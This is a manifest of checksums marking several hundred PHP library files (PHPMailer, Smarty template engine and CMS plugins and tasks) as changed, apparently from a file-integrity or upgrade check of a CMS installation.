CHANGED :: 23c2a5e0106b99d75238986559bb5fc6 :: \lib\phpmailer\LICENSE
CHANGED :: e330c48656444406579e9a67ad27107f :: \lib\phpmailer\VERSION
CHANGED :: 5d73dc8a63cbf9e738f19cefdb64aaaa :: \lib\plugins\function.anchor.php
CHANGED :: 9837d9e73046ba92286c43d7196cac43 :: \lib\plugins\function.breadcrumbs.php
CHANGED :: f04aa8005577b2f60d6d91ce18c87bd8 :: \lib\plugins\function.browser_lang.php
CHANGED :: 8b8ba737e7a9f85f976a549da4893c56 :: \lib\plugins\function.cms_action_url.php
CHANGED :: 06cc3e70cdd17c41b2312e74a83b7cc9 :: \lib\plugins\function.cms_get_language.php
CHANGED :: c8cc20a4831ca6a73c8432dbec48e5bc :: \lib\plugins\function.cms_html_options.php
CHANGED :: 705e7f5a0d8f49591d6aad2baef59d45 :: \lib\plugins\function.cms_init_editor.php
CHANGED :: 6833e12dfc1275f9a5a7b58f4e986ccd :: \lib\plugins\function.cms_jquery.php
CHANGED :: f5cd8fd542c8dd90036fc2a756b09d82 :: \lib\plugins\function.cms_lang_info.php
CHANGED :: 88393c82967da79ec106a3933d9ee6f3 :: \lib\plugins\function.cms_module.php
CHANGED :: abfbba9bee5df7b4e78bc0a7558b4399 :: \lib\plugins\function.cms_module_hint.php
CHANGED :: a5ca64d8a1b926479d5e175160607558 :: \lib\plugins\function.cms_pageoptions.php
CHANGED :: fc5e12254e3328f0f5dddd7f2c17dcc7 :: \lib\plugins\function.cms_selflink.php
CHANGED :: 58175f53a85656083efda1a088a4db60 :: \lib\plugins\function.cms_set_language.php
CHANGED :: f22bf97e8f78ea2fe449c1232945a05e :: \lib\plugins\function.cms_stylesheet.php
CHANGED :: e9733e85719bdac992e6fd5d649d189c :: \lib\plugins\function.cms_textarea.php
CHANGED :: d1846b6e4207f30c97cf91fbdf62a6c2 :: \lib\plugins\function.cms_version.php
CHANGED :: 5ceaa2ad55f5e53098ec0794117d1027 :: \lib\plugins\function.cms_versionname.php
CHANGED :: 1d313001d1a51b78440913ca6e520d9c :: \lib\plugins\function.cms_yesno.php
CHANGED :: abaab409a5c7729c4424e5d142d28385 :: \lib\plugins\function.created_date.php
CHANGED :: cf1effe39996c1134f78fd00af5c6576 :: \lib\plugins\function.current_date.php
CHANGED :: 2f08210cfd303a7dc6dad28274563dee :: \lib\plugins\function.description.php
CHANGED :: 9ead0792abeb5c9c70c76fd11af00413 :: \lib\plugins\function.dump.php
CHANGED :: e6751c76529817dfbb0f55c174da8241 :: \lib\plugins\function.file_url.php
CHANGED :: 73f7b4e3090f85641670261fb4f068cb :: \lib\plugins\function.form_end.php
CHANGED :: 218a18f94a6886a059402dcf0f3f9dcd :: \lib\plugins\function.form_start.php
CHANGED :: 750e6a5c01ab52a72b7240f344cdebf1 :: \lib\plugins\function.get_template_vars.php
CHANGED :: b9e40824865489ea344e80a4243f5bb0 :: \lib\plugins\function.global_content.php
CHANGED :: e17efd49d9a8054b0c0f3d5f4308bb44 :: \lib\plugins\function.image.php
CHANGED :: 151fc18a35172447f1b46c275ca3df25 :: \lib\plugins\function.last_modified_by.php
CHANGED :: fd48dd6ad8ce670caf5edaa2fd3e03b8 :: \lib\plugins\function.menu_text.php
CHANGED :: 264d2b747984c6d37d4551eb334fb1b0 :: \lib\plugins\function.metadata.php
CHANGED :: 8062b0e9bbf9f71b937f43aba3da9c6b :: \lib\plugins\function.modified_date.php
CHANGED :: 15268eb9725308afb19c3194a20a5ee0 :: \lib\plugins\function.module_available.php
CHANGED :: eabf7d26e1e286edb047eb916f21b985 :: \lib\plugins\function.page_attr.php
CHANGED :: ff838ed251701d4cf7c6257afb88eba2 :: \lib\plugins\function.page_image.php
CHANGED :: 94c989d7d5221fb8f134c90a0e65d594 :: \lib\plugins\function.recently_updated.php
CHANGED :: 172d99a93c16d07c6da03aa07a6751be :: \lib\plugins\function.redirect_page.php
CHANGED :: d71a68e67309069e8bf89fae666b85e7 :: \lib\plugins\function.redirect_url.php
CHANGED :: d4bc12f2f710242a48588998da22c245 :: \lib\plugins\function.repeat.php
CHANGED :: 5378c49fef2795fe8107d59a76ed30ab :: \lib\plugins\function.root_url.php
CHANGED :: de2e2fe1c6d2d7e7bcf5cdcc2294d8b8 :: \lib\plugins\function.setlist.php
CHANGED :: 175a6ec1a0a3475e735a8540cc9e5391 :: \lib\plugins\function.share_data.php
CHANGED :: 5be3e6f6b6441a081960b8b83cf7cc39 :: \lib\plugins\function.sitename.php
CHANGED :: 1dcec5f4834e744c421dc7229f2d3e6f :: \lib\plugins\function.site_mapper.php
CHANGED :: ae2eecedcae7da3f0b721faa8bb47a2e :: \lib\plugins\function.thumbnail_url.php
CHANGED :: d44678c065ada3f1bac8e5d69b123e27 :: \lib\plugins\function.title.php
CHANGED :: eab68463d3d676d007e3457502147439 :: \lib\plugins\function.uploads_url.php
CHANGED :: 5a40e1c1d2295b758c4892831b0f66c3 :: \lib\plugins\modifier.cms_date_format.php
CHANGED :: 95d41847d7013bc4260c913c103af16d :: \lib\plugins\modifier.cms_escape.php
CHANGED :: 1c59a3f7137d210a90785140698efc8c :: \lib\plugins\modifier.localedate_format.php
CHANGED :: 762f140fe319816dcc0c71cf2962a650 :: \lib\plugins\modifier.relative_time.php
CHANGED :: 98ccc47a57c8c01cfea300b15d6ff7c7 :: \lib\plugins\modifier.summarize.php
CHANGED :: 2617d67762fc6496fccc8186d2c25ffc :: \lib\plugins\postfilter.postcompilefunc.php
CHANGED :: a2f3666831b19b08887372f61c1486dc :: \lib\plugins\prefilter.precompilefunc.php
CHANGED :: ad58889dd4e26fd78e99396d3ea10c90 :: \lib\smarty\Autoloader.php
CHANGED :: 7633b7daba08cae57f229d57e94cb04b :: \lib\smarty\bootstrap.php
CHANGED :: f817ee0cb2672073c30d6a2bcdc56a91 :: \lib\smarty\debug.tpl
CHANGED :: 1e6b2abb7c1ba48613c9fa278f753b2a :: \lib\smarty\plugins\block.textformat.php
CHANGED :: d48779c7ffa450d271dfd38d390ccbc8 :: \lib\smarty\plugins\function.counter.php
CHANGED :: d632294b8985c49a9d0cbddba379f73f :: \lib\smarty\plugins\function.cycle.php
CHANGED :: 77b5b45f0d3cf7ecf535168eebe90cc7 :: \lib\smarty\plugins\function.fetch.php
CHANGED :: b4201c271d349f4c0e4f643ab78b3545 :: \lib\smarty\plugins\function.html_checkboxes.php
CHANGED :: 2337674618708ec00376cffcd24654b0 :: \lib\smarty\plugins\function.html_image.php
CHANGED :: 5f56eef1093a8ab85555a184b0084679 :: \lib\smarty\plugins\function.html_options.php
CHANGED :: 8f987aef6b345ad733bc912d2b5316e7 :: \lib\smarty\plugins\function.html_radios.php
CHANGED :: a392027fc3e35f1854e92b1e4048ea7d :: \lib\smarty\plugins\function.html_select_date.php
CHANGED :: 635611970373c93f4901bf790e07d41e :: \lib\smarty\plugins\function.html_select_time.php
CHANGED :: 43aa0ba9e2c899ad93b9ceb9a1bf4484 :: \lib\smarty\plugins\function.html_table.php
CHANGED :: af61d72be8dff2d2710c57af760227bf :: \lib\smarty\plugins\function.mailto.php
CHANGED :: 1b8fafdd36fa85257a66e51ef3e44447 :: \lib\smarty\plugins\function.math.php
CHANGED :: 5319c6c7e50974933344640eca1ef40f :: \lib\smarty\plugins\modifier.capitalize.php
CHANGED :: 8dfd46686cce51be34ae68ae8c8516aa :: \lib\smarty\plugins\modifier.date_format.php
CHANGED :: 0ce26ab8773c2b140e20472d389b8c95 :: \lib\smarty\plugins\modifier.debug_print_var.php
CHANGED :: d43b5174a0983b0c5d58662dbeac8b17 :: \lib\smarty\plugins\modifier.escape.php
CHANGED :: 8967eacc8c149c89fb2ee6ec3c00f7cf :: \lib\smarty\plugins\modifier.regex_replace.php
CHANGED :: adf2daa7093d18bf70cab4006e21775f :: \lib\smarty\plugins\modifier.replace.php
CHANGED :: b717bf194a1c12d0f6784d0074802a78 :: \lib\smarty\plugins\modifier.spacify.php
CHANGED :: abceebd0c38ebb0cf77f07832a6602f4 :: \lib\smarty\plugins\modifier.truncate.php
CHANGED :: 6f6d44b0facb92b872154680d71f2638 :: \lib\smarty\plugins\modifiercompiler.cat.php
CHANGED :: c046da5b436eec8a2a042b9878a06c05 :: \lib\smarty\plugins\modifiercompiler.count_characters.php
CHANGED :: d280f54cdc2816f5b6d6d22481c334ec :: \lib\smarty\plugins\modifiercompiler.count_paragraphs.php
CHANGED :: 54233ffb48e6c5f00fbca959168e12e4 :: \lib\smarty\plugins\modifiercompiler.count_sentences.php
CHANGED :: c5e3f94e773958ed46a6266fcca6e47c :: \lib\smarty\plugins\modifiercompiler.count_words.php
CHANGED :: 88ed29e0012284ce15ded1564313b4b1 :: \lib\smarty\plugins\modifiercompiler.default.php
CHANGED :: ad2ed9ff3472bbcd79cfa7498e35cee5 :: \lib\smarty\plugins\modifiercompiler.escape.php
CHANGED :: bb86cb92ca9b729d66de54dfa22613a7 :: \lib\smarty\plugins\modifiercompiler.from_charset.php
CHANGED :: 3c34f320a6514e7282cecc285f300504 :: \lib\smarty\plugins\modifiercompiler.indent.php
CHANGED :: 6cd1fc185edade36945ee8e2e6fdf911 :: \lib\smarty\plugins\modifiercompiler.lower.php
CHANGED :: 14e171730b05e42873d263b1857a2d98 :: \lib\smarty\plugins\modifiercompiler.noprint.php
CHANGED :: 9675a9cf27ce45b98f6d438c933f32e4 :: \lib\smarty\plugins\modifiercompiler.string_format.php
CHANGED :: fd6365e3be41a627288a1eb144251ed2 :: \lib\smarty\plugins\modifiercompiler.strip.php
CHANGED :: 82e91961cf8423329ea6045112a3faad :: \lib\smarty\plugins\modifiercompiler.strip_tags.php
CHANGED :: b8ebf6a7e2580f1e082278b0dea89a82 :: \lib\smarty\plugins\modifiercompiler.to_charset.php
CHANGED :: 696d0ff1b031413049ac44eb6a52e867 :: \lib\smarty\plugins\modifiercompiler.unescape.php
CHANGED :: 9a6dfe78d6abf56463c14fb21ffe8339 :: \lib\smarty\plugins\modifiercompiler.upper.php
CHANGED :: 1c98084ed4b3988c2fad1c074a77b7a9 :: \lib\smarty\plugins\modifiercompiler.wordwrap.php
CHANGED :: 97e7f4554ab0557c2430b5c73592d8a1 :: \lib\smarty\plugins\outputfilter.trimwhitespace.php
CHANGED :: 9003a0e07199fe9fc5cb0ce6fb284e0d :: \lib\smarty\plugins\shared.escape_special_chars.php
CHANGED :: 8a0f9434b633a5b130dd3719262fc61d :: \lib\smarty\plugins\shared.literal_compiler_param.php
CHANGED :: 1c3ed818b928c87f195e7f40fad620ac :: \lib\smarty\plugins\shared.make_timestamp.php
CHANGED :: 3cf9b1383d0c8998581421619f85444c :: \lib\smarty\plugins\shared.mb_str_replace.php
CHANGED :: 4834f8567f9086d28296f4f555538bfa :: \lib\smarty\plugins\shared.mb_unicode.php
CHANGED :: 5e9496f8f329c802c1efe50181c4fc39 :: \lib\smarty\plugins\variablefilter.htmlspecialchars.php
CHANGED :: 3bf5afd51e97467c89951d4451975a6e :: \lib\smarty\Smarty.class.php
CHANGED :: 05656321ccd145cd2614e0b63597b7ba :: \lib\smarty\sysplugins\smartycompilerexception.php
CHANGED :: f3dc84c2ca14062d8f9140cad49800f3 :: \lib\smarty\sysplugins\smartyexception.php
CHANGED :: 15c55cda336fc8d48cd231b4a26148bf :: \lib\smarty\sysplugins\smarty_cacheresource.php
CHANGED :: e3a3b5381cedd32c391216cd86831af2 :: \lib\smarty\sysplugins\smarty_cacheresource_custom.php
CHANGED :: c328ad816c98f96f7ea2c10a3e7b53fb :: \lib\smarty\sysplugins\smarty_cacheresource_keyvaluestore.php
CHANGED :: 94b9023aa792c4c8eaa87882b50a9c38 :: \lib\smarty\sysplugins\smarty_data.php
CHANGED :: 5e4e0af80c24da43b971c80d09c281d3 :: \lib\smarty\sysplugins\smarty_internal_block.php
CHANGED :: e24ce2b2a380a0a39509bec1f7b6dc56 :: \lib\smarty\sysplugins\smarty_internal_cacheresource_file.php
CHANGED :: 64fb26093c78ea8378895f6b7411e662 :: \lib\smarty\sysplugins\smarty_internal_compilebase.php
CHANGED :: 0ebefbc17c96f7fa90be9c9efb287136 :: \lib\smarty\sysplugins\smarty_internal_compile_append.php
CHANGED :: 55d2f457a050a2088ce30cc577d552ff :: \lib\smarty\sysplugins\smarty_internal_compile_assign.php
CHANGED :: 2693981713aeb88b927fd6a2adf355a5 :: \lib\smarty\sysplugins\smarty_internal_compile_block.php
CHANGED :: 4070e87dbec07cd5d0fa6a1754dfd3b4 :: \lib\smarty\sysplugins\smarty_internal_compile_block_child.php
CHANGED :: 3d325fc9e0364aa914fc4a0f9d6f335e :: \lib\smarty\sysplugins\smarty_internal_compile_block_parent.php
CHANGED :: c156b59b73d7a8fb7f3407b2fe9647eb :: \lib\smarty\sysplugins\smarty_internal_compile_break.php
CHANGED :: 6440b8a59bfb44f7353ef1e2c937f6f3 :: \lib\smarty\sysplugins\smarty_internal_compile_call.php
CHANGED :: 720325e3a4cc25ab7057dc5a36e4932e :: \lib\smarty\sysplugins\smarty_internal_compile_capture.php
CHANGED :: 05f6863de2d2423b13227dc18229fc3d :: \lib\smarty\sysplugins\smarty_internal_compile_config_load.php
CHANGED :: 711e23414b918fc9c095adb0e9ba684f :: \lib\smarty\sysplugins\smarty_internal_compile_continue.php
CHANGED :: b9aba0d10192cf1d7ba0dd01d66614cb :: \lib\smarty\sysplugins\smarty_internal_compile_debug.php
CHANGED :: 83a1000ea395b34846a6a4b6e8cdfa37 :: \lib\smarty\sysplugins\smarty_internal_compile_eval.php
CHANGED :: 640c93c4a697158eb074c1ec67b1cdbc :: \lib\smarty\sysplugins\smarty_internal_compile_extends.php
CHANGED :: 58ad29470e9f34f1d6c599394cf8f2d0 :: \lib\smarty\sysplugins\smarty_internal_compile_for.php
CHANGED :: d6a5a870049d26975d61bdfb63b07fff :: \lib\smarty\sysplugins\smarty_internal_compile_foreach.php
CHANGED :: c6785b038a88476b989222e92287ae7a :: \lib\smarty\sysplugins\smarty_internal_compile_function.php
CHANGED :: aefba91c5df0c00fd40566395a5ea426 :: \lib\smarty\sysplugins\smarty_internal_compile_if.php
CHANGED :: 860b154370fc6305242e1638ff3046b4 :: \lib\smarty\sysplugins\smarty_internal_compile_include.php
CHANGED :: 61723aaf626240d4b17a6c6a2e0a9a39 :: \lib\smarty\sysplugins\smarty_internal_compile_insert.php
CHANGED :: 5d3a4d2bf2c9434bbe9a51c38210e12e :: \lib\smarty\sysplugins\smarty_internal_compile_ldelim.php
CHANGED :: d37e70119dda26e59b38ce4b054a761a :: \lib\smarty\sysplugins\smarty_internal_compile_make_nocache.php
CHANGED :: f0d2607505c19b8aac3450563c9631fe :: \lib\smarty\sysplugins\smarty_internal_compile_nocache.php
CHANGED :: 4ffa98a723b6a303ddc4619ac22388ce :: \lib\smarty\sysplugins\smarty_internal_compile_private_block_plugin.php
CHANGED :: b2b89948dbc01c83f25acb9aa05ba587 :: \lib\smarty\sysplugins\smarty_internal_compile_private_foreachsection.php
CHANGED :: e05614e25ef9adb8f4cdccccb55cdcf8 :: \lib\smarty\sysplugins\smarty_internal_compile_private_function_plugin.php
CHANGED :: 7900899abd321124db7f62761dafdc7c :: \lib\smarty\sysplugins\smarty_internal_compile_private_modifier.php
CHANGED :: 7569a3cc6049af60a28244f9faab9eb5 :: \lib\smarty\sysplugins\smarty_internal_compile_private_object_block_function.php
CHANGED :: 07e1a9fe19c77d2d55a0cee9cdea1802 :: \lib\smarty\sysplugins\smarty_internal_compile_private_object_function.php
CHANGED :: 2eb622e93c7d84c9b3431c22fd14becf :: \lib\smarty\sysplugins\smarty_internal_compile_private_print_expression.php
CHANGED :: ed05e983e8c829b6cf277613d34f6c27 :: \lib\smarty\sysplugins\smarty_internal_compile_private_registered_block.php
CHANGED :: 43ad03eacb0357deb54126de490001f1 :: \lib\smarty\sysplugins\smarty_internal_compile_private_registered_function.php
CHANGED :: 4493acfedc17bfdd5b124e0e7aac152f :: \lib\smarty\sysplugins\smarty_internal_compile_private_special_variable.php
CHANGED :: 5da78c1081314d5106fbbc96dcdfdfbb :: \lib\smarty\sysplugins\smarty_internal_compile_rdelim.php
CHANGED :: 4b109e86f8d5362d085ef3b2d120e898 :: \lib\smarty\sysplugins\smarty_internal_compile_section.php
CHANGED :: 1d3e9958f21680ba83a93067ee5ed4dd :: \lib\smarty\sysplugins\smarty_internal_compile_setfilter.php
CHANGED :: e3d709b3d6cc79eb971e6e0a9ef5c533 :: \lib\smarty\sysplugins\smarty_internal_compile_shared_inheritance.php
CHANGED :: 9e7dcad7ccb9818018618e4d8350c6e5 :: \lib\smarty\sysplugins\smarty_internal_compile_while.php
CHANGED :: 4fa7610a20f18be6c53ec2a1bc3b45db :: \lib\smarty\sysplugins\smarty_internal_configfilelexer.php
CHANGED :: fa7ad4eb968f5384f319879426f64e22 :: \lib\smarty\sysplugins\smarty_internal_configfileparser.php
CHANGED :: 729465389622f827c4180dc9f275ef82 :: \lib\smarty\sysplugins\smarty_internal_config_file_compiler.php
CHANGED :: c9e1c39f445a656cf665e3fd4e159342 :: \lib\smarty\sysplugins\smarty_internal_data.php
CHANGED :: 46b2d178378b2eb69a1307e3f223f980 :: \lib\smarty\sysplugins\smarty_internal_debug.php
CHANGED :: d8cd9ac8d1acc4404c881db777e2169a :: \lib\smarty\sysplugins\smarty_internal_extension_handler.php
CHANGED :: 74be1ea86f3d6ffb54a8496a020e8a5f :: \lib\smarty\sysplugins\smarty_internal_method_addautoloadfilters.php
CHANGED :: 4b2d4a712764a5a7b5324a706b812b8f :: \lib\smarty\sysplugins\smarty_internal_method_adddefaultmodifiers.php
CHANGED :: 8dd818997da357a1c2808ad279fe72ca :: \lib\smarty\sysplugins\smarty_internal_method_append.php
CHANGED :: 60c7141ecddb0cbc81118a2306e74ed0 :: \lib\smarty\sysplugins\smarty_internal_method_appendbyref.php
CHANGED :: 6b3d6f5658f3c48bd1719ceeb455bac4 :: \lib\smarty\sysplugins\smarty_internal_method_assignbyref.php
CHANGED :: ae6e7d3bc35396bbae5c6e489547b2b7 :: \lib\smarty\sysplugins\smarty_internal_method_assignglobal.php
CHANGED :: 51fc6dabb175e42e11043c68b0d4c2d8 :: \lib\smarty\sysplugins\smarty_internal_method_clearallassign.php
CHANGED :: f3ddb954eb9eea6a45d521437009970a :: \lib\smarty\sysplugins\smarty_internal_method_clearallcache.php
CHANGED :: 8327e470b11a38fa0c83c43a8294aaef :: \lib\smarty\sysplugins\smarty_internal_method_clearassign.php
CHANGED :: 6485835e6939b5efd7888d64e1459e02 :: \lib\smarty\sysplugins\smarty_internal_method_clearcache.php
CHANGED :: cbc13f207ca63eed395b6bd6253bff85 :: \lib\smarty\sysplugins\smarty_internal_method_clearcompiledtemplate.php
CHANGED :: 016050522e2de82249142fc0404cf9bb :: \lib\smarty\sysplugins\smarty_internal_method_clearconfig.php
CHANGED :: 022c090f0b8af8ef34e41ff8dac5a9ec :: \lib\smarty\sysplugins\smarty_internal_method_compileallconfig.php
CHANGED :: f256ffcc94435f044201c4009a2c0770 :: \lib\smarty\sysplugins\smarty_internal_method_compilealltemplates.php
CHANGED :: 44653f7286fa7f3baf0433e1188ef1a5 :: \lib\smarty\sysplugins\smarty_internal_method_configload.php
CHANGED :: 007219da36708b853d4b31c771f141f2 :: \lib\smarty\sysplugins\smarty_internal_method_createdata.php
CHANGED :: 67e05eabf5a3a978bbf0d4e5b0c2d93f :: \lib\smarty\sysplugins\smarty_internal_method_getautoloadfilters.php
CHANGED :: e86600037433fe753420c5f78b57b0c1 :: \lib\smarty\sysplugins\smarty_internal_method_getconfigvariable.php
CHANGED :: e34db6ba9a5b9ecbf052ffe50afa9d2a :: \lib\smarty\sysplugins\smarty_internal_method_getconfigvars.php
CHANGED :: 854f6da1df4fa1253437e4adb19e0dc9 :: \lib\smarty\sysplugins\smarty_internal_method_getdebugtemplate.php
CHANGED :: 3f21b5468fc76b99b1096628b082e27b :: \lib\smarty\sysplugins\smarty_internal_method_getdefaultmodifiers.php
CHANGED :: 5490b0b39fa631c4ef4a3645dce13a39 :: \lib\smarty\sysplugins\smarty_internal_method_getglobal.php
CHANGED :: 2c283cc353a880428cd862b4bb19e5ae :: \lib\smarty\sysplugins\smarty_internal_method_getregisteredobject.php
CHANGED :: de4f1c6e961d8a311a4d663179beffdf :: \lib\smarty\sysplugins\smarty_internal_method_getstreamvariable.php
CHANGED :: 3fcfcf3fd2075e4adb9268e60d862b57 :: \lib\smarty\sysplugins\smarty_internal_method_gettags.php
CHANGED :: dd1aa984c590ffbb2b94a1a77de44332 :: \lib\smarty\sysplugins\smarty_internal_method_gettemplatevars.php
CHANGED :: ddc0bbdb3a3fe6e080bedf07955c47b8 :: \lib\smarty\sysplugins\smarty_internal_method_loadfilter.php
CHANGED :: 659379c3e5714c284e3d932dff439674 :: \lib\smarty\sysplugins\smarty_internal_method_loadplugin.php
CHANGED :: 2fbcf482ae380f0f21eab5cb02bd88bf :: \lib\smarty\sysplugins\smarty_internal_method_mustcompile.php
CHANGED :: 9c7494811741b0456d3fbf9b094a544c :: \lib\smarty\sysplugins\smarty_internal_method_registercacheresource.php
CHANGED :: af783f12e4b77a64cef9d13da09bcc34 :: \lib\smarty\sysplugins\smarty_internal_method_registerclass.php
CHANGED :: eb5e6695e6162d4ee7604e592257415c :: \lib\smarty\sysplugins\smarty_internal_method_registerdefaultconfighandler.php
CHANGED :: dfb15ac0f73eb555ad203d1296b0d00c :: \lib\smarty\sysplugins\smarty_internal_method_registerdefaultpluginhandler.php
CHANGED :: 0de47da7c49b7986f78b1d6bf40105c6 :: \lib\smarty\sysplugins\smarty_internal_method_registerdefaulttemplatehandler.php
CHANGED :: ffb96f5068a59c53b32a3a169057aa55 :: \lib\smarty\sysplugins\smarty_internal_method_registerfilter.php
CHANGED :: d7bf1d6d565bca0209b529b7a9ce24ad :: \lib\smarty\sysplugins\smarty_internal_method_registerobject.php
CHANGED :: 3905a0828ef12a2a92ee5d5134361aa9 :: \lib\smarty\sysplugins\smarty_internal_method_registerplugin.php
CHANGED :: a856b9d6089d53f2afc48f0c560b7d6d :: \lib\smarty\sysplugins\smarty_internal_method_registerresource.php
CHANGED :: 19b8803e0c149fc56b40b7684e5f23f7 :: \lib\smarty\sysplugins\smarty_internal_method_setautoloadfilters.php
CHANGED :: c8cddc159f92f4406d01593b206c5aec :: \lib\smarty\sysplugins\smarty_internal_method_setdebugtemplate.php
CHANGED :: f14871656f1aabd141e02abbb21d2fd5 :: \lib\smarty\sysplugins\smarty_internal_method_setdefaultmodifiers.php
CHANGED :: 8074b266608ebd5eed4e81e98a16d089 :: \lib\smarty\sysplugins\smarty_internal_method_unloadfilter.php
CHANGED :: e93b763200ea7ae62f4e63ecb1ae0ed1 :: \lib\smarty\sysplugins\smarty_internal_method_unregistercacheresource.php
CHANGED :: a8e131a223a37b8fc389d7a4e8c2acc9 :: \lib\smarty\sysplugins\smarty_internal_method_unregisterfilter.php
CHANGED :: 5bab3a1462ebfab1d4427b6bb6b411da :: \lib\smarty\sysplugins\smarty_internal_method_unregisterobject.php
CHANGED :: c32fcdb57d884b64897846e561f8bb2a :: \lib\smarty\sysplugins\smarty_internal_method_unregisterplugin.php
CHANGED :: 6543c409b1d3714fb082c17607451d10 :: \lib\smarty\sysplugins\smarty_internal_method_unregisterresource.php
CHANGED :: efead0f851a98c9136e441c67c242d11 :: \lib\smarty\sysplugins\smarty_internal_nocache_insert.php
CHANGED :: aabf7b9c5a52851ba9ebdc91e88db82f :: \lib\smarty\sysplugins\smarty_internal_parsetree.php
CHANGED :: 14eff98659dd6dda1d7422e0979fd241 :: \lib\smarty\sysplugins\smarty_internal_parsetree_code.php
CHANGED :: 329889f49a91885ff41d181098e8e7b0 :: \lib\smarty\sysplugins\smarty_internal_parsetree_dq.php
CHANGED :: 9815f6a543b25f16cbfb5c7df4d73642 :: \lib\smarty\sysplugins\smarty_internal_parsetree_dqcontent.php
CHANGED :: b1d4ffe057518a04f9be09f06086539f :: \lib\smarty\sysplugins\smarty_internal_parsetree_tag.php
CHANGED :: c05b756350655f48633b818eab552db8 :: \lib\smarty\sysplugins\smarty_internal_parsetree_template.php
CHANGED :: ae9beebcd74b46cfae8ec5a0375a64b6 :: \lib\smarty\sysplugins\smarty_internal_parsetree_text.php
CHANGED :: 2e55357ba37d4883693226e39695f83a :: \lib\smarty\sysplugins\smarty_internal_resource_eval.php
CHANGED :: 9b839c48fd046803a517e782e2f31a66 :: \lib\smarty\sysplugins\smarty_internal_resource_extends.php
CHANGED :: 26d993fc2ada8df5e1f4da6b33211675 :: \lib\smarty\sysplugins\smarty_internal_resource_file.php
CHANGED :: 7a5e53e101f5a64148cfafc482d72884 :: \lib\smarty\sysplugins\smarty_internal_resource_php.php
CHANGED :: 29dec5f6cf3a9bd24592a6f3a5a021e4 :: \lib\smarty\sysplugins\smarty_internal_resource_stream.php
CHANGED :: 826deb94c09938ddda7d94d7dbfd4ddc :: \lib\smarty\sysplugins\smarty_internal_resource_string.php
CHANGED :: 348fa273067b27669b6e6e19e23e0349 :: \lib\smarty\sysplugins\smarty_internal_runtime_cachemodify.php
CHANGED :: f0afed7f21bf6806722346aa73e5efe4 :: \lib\smarty\sysplugins\smarty_internal_runtime_cacheresourcefile.php
CHANGED :: 0ec78986d238989959774ac6bf30e8cd :: \lib\smarty\sysplugins\smarty_internal_runtime_capture.php
CHANGED :: 5cf22056ef118400f755f42dc52d7374 :: \lib\smarty\sysplugins\smarty_internal_runtime_codeframe.php
CHANGED :: 83da089b7191689ac1b34ab992303c26 :: \lib\smarty\sysplugins\smarty_internal_runtime_filterhandler.php
CHANGED :: 58a225e591e80386664facfb87d4e9e7 :: \lib\smarty\sysplugins\smarty_internal_runtime_foreach.php
CHANGED :: 9b4d855e446ca829c831eabad2208f08 :: \lib\smarty\sysplugins\smarty_internal_runtime_getincludepath.php
CHANGED :: d84afbc51858f8bf0aad9a7375a07301 :: \lib\smarty\sysplugins\smarty_internal_runtime_inheritance.php
CHANGED :: d7caf48b21c1ee57d7ede12c3bfedca0 :: \lib\smarty\sysplugins\smarty_internal_runtime_make_nocache.php
CHANGED :: 3f94b3327ee71537c3c819d8ca572a35 :: \lib\smarty\sysplugins\smarty_internal_runtime_tplfunction.php
CHANGED :: d905543c3be641b18306f6706efa827e :: \lib\smarty\sysplugins\smarty_internal_runtime_updatecache.php
CHANGED :: ba585a8c762d25c1ad85a85b0737a8cd :: \lib\smarty\sysplugins\smarty_internal_runtime_updatescope.php
CHANGED :: 679d7771c37683140156801fcdfb7037 :: \lib\smarty\sysplugins\smarty_internal_runtime_writefile.php
CHANGED :: 7ed3e482eff2c5ab82efddcb6f4738d0 :: \lib\smarty\sysplugins\smarty_internal_smartytemplatecompiler.php
CHANGED :: 514dab028385f478e8f9e19ad8f7e900 :: \lib\smarty\sysplugins\smarty_internal_template.php
CHANGED :: 011c42f1e0202bb59a122d640dc71331 :: \lib\smarty\sysplugins\smarty_internal_templatebase.php
CHANGED :: 83f19a944fdc26ad35dcc34ac38469fd :: \lib\smarty\sysplugins\smarty_internal_templatecompilerbase.php
CHANGED :: 54014e16e5a3f64ef63ea1bf7d88226a :: \lib\smarty\sysplugins\smarty_internal_templatelexer.php
CHANGED :: 6c5cb37a8bb9208860a840fe544bde10 :: \lib\smarty\sysplugins\smarty_internal_templateparser.php
CHANGED :: 86d91a20716c7380580b57efc4c7b671 :: \lib\smarty\sysplugins\smarty_internal_testinstall.php
CHANGED :: ff60c0112d5eb7ed10be294a9beb9c48 :: \lib\smarty\sysplugins\smarty_internal_undefined.php
CHANGED :: 2c38c8ccdc511f534db69b88542a5b2d :: \lib\smarty\sysplugins\smarty_resource.php
CHANGED :: 9d8a4f2ead9bb7ff7afae36d35486320 :: \lib\smarty\sysplugins\smarty_resource_custom.php
CHANGED :: 3ba8b84c1942dc2585db2cc1316b5d20 :: \lib\smarty\sysplugins\smarty_resource_recompiled.php
CHANGED :: 254d9ce6ba431917c2330b4a36b6c717 :: \lib\smarty\sysplugins\smarty_resource_uncompiled.php
CHANGED :: f08ce12bb257ba3bd3b227fce5261a81 :: \lib\smarty\sysplugins\smarty_security.php
CHANGED :: 50125ced9af906fa444a72a86cb11f79 :: \lib\smarty\sysplugins\smarty_template_cached.php
CHANGED :: 28b5a407e1d0a511af596291e8a5ef00 :: \lib\smarty\sysplugins\smarty_template_compiled.php
CHANGED :: db15d5ad6c951de739bb7460bce6b74e :: \lib\smarty\sysplugins\smarty_template_config.php
CHANGED :: fb26a9597c072f6bf28161eb4a4d0894 :: \lib\smarty\sysplugins\smarty_template_resource_base.php
CHANGED :: 57ac6b02f2cca5d8b59428e1d4a33202 :: \lib\smarty\sysplugins\smarty_template_source.php
CHANGED :: 4173d3ad761be6673a66e3b1bfa1134e :: \lib\smarty\sysplugins\smarty_undefined_variable.php
CHANGED :: be2307a3038329b04bab4f85e28487ae :: \lib\smarty\sysplugins\smarty_variable.php
CHANGED :: 43f0cd7116c3fac47c3f68a024f9bac7 :: \lib\std_hooks.php
CHANGED :: fab37e004579e4f4d470f00a0b9be4cd :: \lib\tasks\class.ClearCache.task.php
CHANGED :: f6e840952d1a3b4f27e93bcbaceccac5 :: \lib\tasks\class.CmsSecurityCheck.task.php
CHANGED :: 926a9186628e65d35954708f882c4164 :: \lib\tasks\class.CmsVersionCheck.task.php
CHANGED :: 262d087604142b6288968bb68e3b49b6 :: \lib\tasks\class.PruneAdminlog.task.php
CHANGED :: 4fe191832f57355f35984db3c68dd52a :: \lib\tasks\class.ReduceAdminlog.task.php
CHANGED :: f3a2e3767ebf763b3d0e6e5d9999f318 :: \lib\test.functions.php
CHANGED :: ab9aa0cbba2aa6d90c46c0065e097c4f :: \lib\translation.functions.php
